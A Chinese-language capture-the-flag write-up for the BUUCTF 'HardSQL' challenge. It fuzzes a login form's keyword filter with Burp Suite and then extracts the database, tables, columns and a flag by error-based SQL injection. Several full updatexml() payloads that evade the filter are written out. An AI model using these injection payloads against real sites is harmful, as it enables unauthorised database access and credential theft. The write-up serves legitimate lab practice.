[极客大挑战 2019]HardSQL

web第24题
[极客大挑战 2019]HardSQL

打开靶场
[极客大挑战 2019]HardSQL_第1张图片
首先尝试使用单引号
[极客大挑战 2019]HardSQL_第2张图片
[极客大挑战 2019]HardSQL_第3张图片
显然页面存在sql注入的
永真式进行登陆
[极客大挑战 2019]HardSQL_第4张图片
[极客大挑战 2019]HardSQL_第5张图片
继续尝试order by爆字段
[极客大挑战 2019]HardSQL_第6张图片
[极客大挑战 2019]HardSQL_第7张图片
那么说明很多字符都被过滤了
尝试双写进行绕过
[极客大挑战 2019]HardSQL_第8张图片
[极客大挑战 2019]HardSQL_第9张图片
依旧是不行
看了很多人的wp,他们都没说清楚如何知道对哪些关键字进行了过滤,直接给出了,我也不知道怎么来的
直接使用burpsuite对其进行fuzz,观察过滤了哪些关键字
参考:利用burpsuit对xss和sql注入进行fuzz
抓包发送至intruder模块
[极客大挑战 2019]HardSQL_第10张图片
设置payload,网上找的一个字典
[极客大挑战 2019]HardSQL_第11张图片
攻击
[极客大挑战 2019]HardSQL_第12张图片
响应为密码错误,说明没有被过滤
[极客大挑战 2019]HardSQL_第13张图片
相应为此页面,说明被过滤了
得到响应为751的没有被过滤,响应为736的都被过滤了,统计出一些常用的被过滤的符号:空格 ,注释符,and,by,=,sleep,/,~等

那么这个时候的思路就应该是报错注入了
报错注入可以使用很多函数,常用的有floor()函数,extractvalue()函数,updatexml()函数等
这里使用一下我不熟悉的updatexml()函数,参考:updatexml()报错注入
使用()代替空格,使用like代替=,使用^连接函数形成异或

构造注入语句(我是在用户中输入的)
1.查询数据库:

admin'or(updatexml(1,concat(0x7e,database()),1))#

[极客大挑战 2019]HardSQL_第14张图片
得到数据库名为geek
2.查询表名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

[极客大挑战 2019]HardSQL_第15张图片
得到表名H4rDsq1
3.查字段名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#

[极客大挑战 2019]HardSQL_第16张图片
得到字段名为id,username,password
4.爆数据

admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#

[极客大挑战 2019]HardSQL_第17张图片
知道数据库中第一条数据就是flag
额,好像flag没显示完
原因是报错内容最大字符数为32,后面的就不会再显示
这样,我们可以使用left和right函数先查左边,再查右边,然后拼接在一起就能得到flag

admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

[极客大挑战 2019]HardSQL_第18张图片
flag{b1642242-538e-42e5-9f94-6

admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

[极客大挑战 2019]HardSQL_第19张图片
2-538e-42e5-9f94-6f52d4694821}
拼接得到flag
flag{b1642242-538e-42e5-9f94-6f52d4694821}

做到这里突然反应过来出了一点小问题,我是在登陆框中使用admin用户然后拼接or语句,这里是因为刚好数据库中不存在admin用户所以我or后面的语句会执行,但是如果存在admin用户后面的语句可能不会执行,正确的做法应该是使用^连接报错函数,形成异或,这样前后两个运算符都会执行,可以看看其他师傅的wp

你可能感兴趣的:(buuctf,安全,web安全,mysql,CTF)